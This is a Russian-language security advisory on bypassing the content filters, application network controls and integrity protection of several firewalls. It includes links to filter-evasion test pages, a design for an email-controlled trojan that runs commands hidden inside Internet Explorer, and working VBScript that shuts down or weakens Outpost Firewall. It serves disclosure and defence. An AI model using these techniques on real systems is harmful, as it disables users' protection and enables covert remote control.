Тема: Обход средств защиты клиентских приложений
Категория: Обход защиты
Подверженные продукты:
 CheckPoint   VPN-1(TM)   &   FireWall-1(R)   NG   with  Application
 Intelligence R55HFA09
 Microsoft Windows XP SP2
 Agnitum Outpost Pro 2.1.x  
 Tiny Firewall Pro v6.0.100  
 ZoneAlarm Pro with Web Filtering v4.5.594  
 BlackICE PC Protection 3.6  
 Kerio Personal Firewall 4.0
 WRQ ATGuard v3.2
Авторы:
 3APA3A, <3APA3A@security.nnov.ru>, offtopic, <offtopic@mail.ru>
 Авторы  благодарят Игоря Митюрина за тестирование и координацию работ с
 уязвимостями  CheckPoint.  Также авторы выражают благодарности компании
 Checkpoint  за  сотрудничество,  компании Agnitum за дебаты по вопросам
 "Опоссума" и некоторые идеи.

Отказ от обязательств

</САРКАЗМ>
Эта  статья  не  является попыткой научить скрипт-кидди писать троянские
программы,  и  уж  тем  более  не  попытка  создать  подобную  программу
авторами. Это предложение сообществу специалистов в области безопасности
начать   осуждение   механизмов  защиты  клиентских  приложений.  Авторы
проносят  свои  извинения  тем производителям, продукты которых содержат
описанные  в  статье  уязвимости.  Авторы  уверенны,  что решать надо не
конкретные проблемы, но менять отношение к защите клиентских приложений,
что  требует  архитектурных модификаций средств защиты. Если ситуация не
изменится,  любой  школьник,  умеющий писать программы на Бейсике сможет
получить  доступ  в  защищенную сеть. Авторы разделяют точку зрения, что
описанные проблемы не являются уязвимостями продуктов.
<САРКАЗМ>
Так, Pedram?
<АПЛОДИСМЕНТЫ />

1. Введение

1.1     Зачем защищать клиентов?

В  последние  годы мы наблюдаем революцию в области безопасности сетевой
инфраструктуры.  К  более  безопасным  и  стабильным  сетевым  службам и
операционным  система  добавились  такие  решения как межсетевые экраны,
работающие  на  седьмом  уровни  модели  OSI,  системы  обнаружения    и
предотвращения  атак, отказоустойчивые кластеры и распределенные системы
борьбы  с  DDoS  атаками...  Но  в  области защиты клиентских приложений
практически ничего не изменилось.

Безопасность  браузеров,  почтовых клиентов, программ мгновенного обмена
сообщениями,  по  сути,  находится  на том же уровне, что и 5 лет назад.
Более  того, ситуация ухудшилась, поскольку бизнес стал более зависим от
этих  приложений.  Попробуйте  предложить  своему  боссу  отказаться  от
использования электронной почты.
<АПЛОДИСМЕНТЫ />

Почему  мы  должны  заботиться  о  безопасности  клиентских  приложений?
Поскольку   они   представляют  собой  точку  периметра.  Браузер  может
одновременно  использоваться  и  для  загрузки  свежих  программ       с
www.astalavista.com и для работы с банковским приложением.

<ВОЗРАЖЕНИЯ ИЗ ЗАЛА, ПРОИГНОРИРОВАНЫ />

Мы,  в  числе  других  специалистов  в области безопасности считаем, что
индустрия  движется  в  неправильном  направлении.  В  данной  статье мы
попытаемся  показать,  как  получить  доступ в защищенную по современным
меркам  корпоративную  сеть  без  использования  специальных  средств  и
знаний.  Что  бы  не  утомлять читателей ассемблерным кодом, все примеры
были  созданы с использованием Notepad.exe и не нуждаются в компиляции и
специальных знаниях для понимания.


 1.2 Какие средства защиты клиентов используются в ваш сети?

Существует  не так уж много средств защиты корпоративных клиентов. К ним
принадлежат  межсетевые  экраны  с  функцией  фильтрации содержимого (мы
относим   в   эту   же   категорию  антивирусные  системы)  и  различные
"персональные"  межсетевые  экраны  и  антивирусы.  Многие  персональные
средства  защиты  контролируют целостность настроек, и прикладных задач,
ограничивают  сетевое  взаимодействие  неизвестных  приложений, а так же
блокируют потенциально небезопасные вызовы API.

Существуют  и  другие  методы  защиты  клиентов,  некоторые  из  которых
обсуждаются  далее,  но  к  сожалению,  они  либо находятся в зачаточном
состоянии либо используются крайне редко.

 1.3 Я не использую  перечисленные продукты! Мне стоит читать дальше?

Мы  не  собираемся  учить вас тому, как взламывать конкретную программы.
Последние  события,  связанные  с оплатой уязвимостей в браузере Mozilla
показывают,  что  за $500 можно найти уязвимость в любом приложении. Про
Internet  Explorer  мы  не  будем  даже  упоминать - спрос гораздо выше.
Соответственно - 500 долларов, это всё, что необходимо для проникновения
в  вашу  сеть.  И  эти  деньги  не  понадобятся  для обхода персональных
межсетевых   экранов   и   фильтров  содержимого.  Они  обходятся  любым
школьником  бесплатно.  Если  это  все что у вас есть, значит, у вас нет
никакой  защиты.  В  действительности, компании типа iDefense делают для
защиты  вашей  компании  больше чем многие производители средств защиты.
Они скупают уязвимости до того, как они попадут на теневой рынок.

<СМЕХ, ВОЗРАЖЕНИЯ (ПРОИГНОРИРОВАНЫ), АПЛОДИСМЕНТЫ />
</САРКАЗМ>

Проблема  оплаты  поиска  уязвимостей не так проста, как кажется многим.
Здесь   уместна   аналогия   с   рынком  программного  обеспечения.  Без
коммерческого  программного  обеспечения  freeware не выживет, поскольку
любому человеку нужны деньги.

<САРКАЗМ>

Full-disclosure? Who believe in it..

И так, демонстрации:

-  Обход фильтров содержимого на персональных и корпоративных межсетевых
экранах (да, снова и снова - обход фильтров содержимого).
-  Обход  защиты  сетевого  взаимодействия  на  персональных  межсетевых
экранах.
- Обход контроля целостности на персональных межсетевых экранах.

Выше  приведен  список  уязвимых  продуктов.  Он  далеко  не  полон.  Мы
связались  с  некоторыми производителями и от некоторых получили ответы.
Были  выпущены обновления, но ни один из производителей не сумел закрыть
все описанные уязвимости.

<ТРЕВОЖНАЯ ТИШИНА В ЗАЛЕ />
<ВСЕ ДОСТАЮТ ИЗ СУМОК ЧЕРНЫЕ ШЛЯПЫ И НАДЕВАЮТ ИХ />

2. Снова и снова - обход фильтров содержимого
____________________________________________________________
 Аксиома: всегда можно найти ещё один способ обхода фильтров содержимого.
 Описание:   поскольку   фильтры  содержимого  и  клиентское  приложение
 используют   различные   алгоритмы   обработки   данных,  данные  будут
 по-разному    обрабатываться    клиентским   приложением   и   фильтром
 содержимого.


 2.1 Тестовая конфигурация

В  процессе тестирования мы проверяли модули фильтрации содержимого двух
межсетевых   экранов:  Checkpoint  представлял  семейство  корпоративных
продуктов,

Agnitum  Outpost  Pro  выступал представителем персональных экранов. Оба
продукта  были настроены на фильтрацию сценариев VBScript и JavaScript и
элементов ActiveX.

Используя    различные    техники   [1]   были   созданы   WEB-страницы,
обрабатываемые  браузером  Internet Explorer как сценарии, обходя защиту
межсетевых экранов (не говоря об антивирусах, всё же это не их дело).

 2.2 Описание тестов:

  2.2.1 http://www.security.nnov.ru/files/opossum/test1.html
  Проблемы с обработкой специальных символов (0x0B). [1].II.9
 
  2.2.2 http://www.security.nnov.ru/files/opossum/test2.html
  Проблемы с обработкой кодировки RFC2781 (UTF-16, little endian). [1].II.1

  2.2.3 http://www.security.nnov.ru/files/opossum/test3.html
  Проблемы с обработкой кодировки RFC2781 (UTF-16,  big endian). [1].II.1

  2.2.4 http://www.security.nnov.ru/files/opossum/test4.gif
  Различные методы обработки типа содержимого [1].II.13
  
  2.2.5 http://www.security.nnov.ru/files/opossum/test5.gif
  Расширение 2.2.4 за счет использования проблем буферизации потока.

  2.2.6 http://www.security.nnov.ru/files/opossum/test6.html
  Проблемы с обработкой специальных символов (0x00). [1].II.9

  2.2.7 http://www.security.nnov.ru/files/opossum/test7.asp
  Проблемы с обработкой кодировки UTF-7 (Content-Type) [1].II.2

  2.2.8 http://www.security.nnov.ru/files/opossum/test8.html
  Проблемы с обработкой кодировки (Meta http-equiv) [1].II.2

  2.2.9 http://www.security.nnov.ru/files/opossum/test9.html
  Отсутствие проверки сценариев в выражениях expression().  Описано
  http-equiv  (malware.com).

  2.2.10. http://www.security.nnov.ru/files/opossum/test10.html
  Отсутствие проверки сценариев в стилях [1].II.15
  
  2.2.11 http://www.security.nnov.ru/files/opossum/test11.mht
  Отсутствие обработчика файлов MHTML (RFC2557)

  Эти техники известны уже несколько лет. Outpost не прошел ни одного теста.  
  Checkpoint провалил 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9, 2.2.10, 2.2.11.

 2.3 Ответы производителей:

Мы  связывались  и  с  Checkpoint и с Agnitum. Checkpoint обещал закрыть
тестируемые  уязвимости  в  комплексном  хотфиксе  R55HFA10.  В тестовом
варианте  хотфикса  блокировались  уязвимости  с  2.2.1  по  2.2.10. Для
устранения  2.2.11  Checkpoint  предлагает заблокировать некоторые файлы
(что  не  может  считаться,  на наш взгляд, адекватным решением). Релиза
R55HFA10  еще  не было и блокирование теста 2.2.11 под вопросом. Agnitum
устранил  2.2.1  и  2.2.7 уязвимости в версии 2.5. Остальные проблемы не
устранены и сроки устранения нам неизвестны.

Перед  тем  как  ссылаться  на  эти  уязвимости,  проверьте  свой фильтр
содержимого.

3. Обход ограничения сетевого доступа с использованием доверенного приложения
 ____________________________________________________________
 Аксиома: Троян умеет все, что умеет клиентская программа 

После  того,  как  мы  успешно  выполнили атаку, нам необходимо получить
контроль над взломанным компьютером.

Многие персональные межсетевые экраны ограничивают сетевой доступ, путем
отслеживания,  какие  из  приложений пытаются взаимодействовать с сетью.
Часто  контролируется  и  целостность  разрешенных  приложений,  что  бы
вредоносное  ПО  не  могло модифицировать их код. Это делает невозможной
установку троянских программ для удаленного управления.

Общая  идея  обхода  подобных  мер защиты, это использование доверенного
клиентского  приложения (например, браузера) для доступа к внешней сети.
Обычно это реализуется путем контроля приложения с использованием техник
внедрения  DLL, WriteProcessMemory(), CreateRemoteThread() и т.д. и т.п.
Описание этих техник можно найти в документах [2] и [3].

Использование  этих  техник  зачастую  требует  высоких  привилегий    и
достаточно  хороших  знаний операционных систем. Кроме того, современные
межсетевые  экраны часто блокируют потенциально небезопасные вызовы API.
Ещё  одной  неприятностью  заключается  в  том,  что  при реализации это
подхода    приходиться    самостоятельно   реализовывать   все   сетевое
взаимодействие,  ожидаемое  от  клиентской программы (например, HTTP для
браузера)  и задействовать механизмы определения сетевой топологии. Т.е.
если  в  сети  есть  Proxy,  необходимо уметь работать через него. Кроме
того,  доступ  клиентского  приложения к различным сетевым адресам может
быть ограничен на межсетевом экране.

Мы  не  любим  сложных  решений.  Как  все  люди,  мы ленивы, поэтому мы
предлагаем  вашему  вниманию  CAT  (Client  Application  Trojaning).  Мы
контролируем клиентское приложение без модификации его кода.

По  ссылке  http://www.security.nnov.ru/files/opossum/CAT.zip  вы можете
найти  приложение,  демонстрирующее  данный подход. Программа использует
COM  для  запуска и контроля клиентского приложения (Internet Explorer).
Это позволяет получить практически полный доступ к ресурсам приложения и
использовать  его  для  работы  с  нашим  сервером,  используя  контекст
безопасности   текущего   пользователя,   а  так  же  сетевые  настройки
(Proxy-сервер и т.д.). В нашем приложении не нужно реализовывать клиента
HTTP, это сделал за нас Microsoft.

Для  обхода разграничения доступа к серверам, мы используем работу через
потенциально  разрешенные  серверы.  В  пример  используется  популярный
сервер  электронной  почты  -  mail.ru.  Есть масса других возможностей,
такие  как  доски  объявлений,  серверы  поиска  работы  (вы  никогда не
получали      резюме      от      Трояна?),      on-line     переводчики
http://translate.google.com/translate?hl=en&u=www.security.nnov.ru  да и
просто  переводчики, сами поисковые системы... Правда в последнем случае
итерация будет занимать несколько дней.
  
В нашем примере CAT PoC работает следующим образом:

  -  Он  создает  COM-объект  Internet  Explorer  и  направляет  его  на
  www.mail.ru.
  -  CAT указывает имя пользователя и пароль, после чего получает доступ
  к почтовому ящику на сервере.
  - CAT отсылает уведомляющее сообщение "ready" указанному адресату.
  - Каждые 20 секунд CAT проверяет папку "Входящие" на наличие сообщений
  с темой XXX.request (XXX - целое число).
  -  Если  подобное  сообщение  при  CAT  читает его, удаляет и передает
  содержимое сообщения командному интерпретатору.
  - Результаты обработки пересылаются в указанный почтовый ящик.

    Удалите строку IE.Visible = true для запуска в скрытом режиме.

Все эти замечательные возможности умещаются в 100 строк кода на VBS. Как
видите, иногда Бейсик гораздо эффективнее ассемблера.

<РАЗВЕ С ЭТИМ НЕ СПРАВИТЬСЯ РЕБЕНОК? />

Червь   ILOVEYOU  и  другие  вирусы,  написанные  на  языках  сценариев,
показали,  что  подобную  программу  может  написать  четырнадцатилетний
школьник.  Учитывая тесную интеграцию Windows Scripting Hosts с системой
и  постоянно  развивающиеся  возможности  WMI,  можно  ожидать  всплеска
подобных "решений".

Все тестируемые персональные межсетевые экраны не смогли обнаружить CAT.
Исключение  составил  Outpost  2.5,  который  предупредил о создании COM
приложения.  Однако через пять минут исследований и такого же количества
строчек кода CAT научился работать через Outpost 2.5. Это мы оставляем в
качестве домашнего задания.

Подсказка:  Для  успешной  инициализации  IE  должен  создаваться  после
запуска IE пользователем.

4. Обход защиты целостности 
____________________________________________________________
 Аксиома: Троян умеет все, что умеет пользователь

Сценарий выгрузки Outpost

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 200
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 100
       WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
       WScript.Sleep 100
       WShell.SendKeys "{ENTER}"

Сценарий переключает Outpost в "мягкий" режим

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 100
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
       WScript.Sleep 10
       WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "a{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{DOWN}"
       WScript.Sleep 10
       WShell.SendKeys "n"

5. Заключение.
____________________________________________________________
 Аксиома: В защите клиентов нет аксиом

Одно  из наиболее приемлемых направлений в защите клиентских приложений,
это  реализация  замкнутой среды выполнения, так называемой "песочницы".
Существует  ряд  попыток  реализовать  подобные  решения без ограничения
функциональности,  к примеру - GeSWall [4](в настоящее время этот проект
ищет  спонсора).  Существует  ряд  коммерческих  решений,  но реализация
большинства  из  них не обеспечивает должного уровня изоляции клиентских
приложений.  Даже  виртуальные  машины большинства производителей так же
имеют  каналы  взаимодействия  с базовой операционной системой, которыми
могут  воспользоваться злоумышленники. Еще одно неплохое решение - вынос
потенциально  опасных приложений в клиентскую ДМЗ с организацией доступа
к  ним  через  терминальные серверы [5]. Конечно же, это решение тоже не
гарантирует 100% безопасности.


<БУРНЫЕ И ПРОДОЛЖИТЕЛЬНЫЕ АПЛОДИСМЕНТЫ,  ВОЗРАЖЕНИЯ (ПРОИГНОРИРОВАНЫ),
ТУХЛЫЕ ЯЙЦА ИЗ ЗАЛА (ПОДДЕРЖАНЫ ВЫСТУПАЮЩИМИ) />

6. Ссылки:

[1] 3APA3A, Bypassing content filtering software
http://www.security.nnov.ru/advisories/content.asp
[2] Firewall leak tester
http://www.firewallleaktester.com/
[3] rattle, Using Process Infection to Bypass Windows Software Firewalls
http://www.phrack.org/show.php?p=62&a=13
[4] GeSWall (General Systems Wall)
http://www.securesize.com/
[5] offtopic, 3APA3A, "In front of front-end security"
http://www.linuxchile.cl/docs.php?op=ver&id=65

<WARNING: Тег САРКАЗМ не был открыт в документе \>
<WARNING: Тег САРКАЗМ не был закрыт в документе \>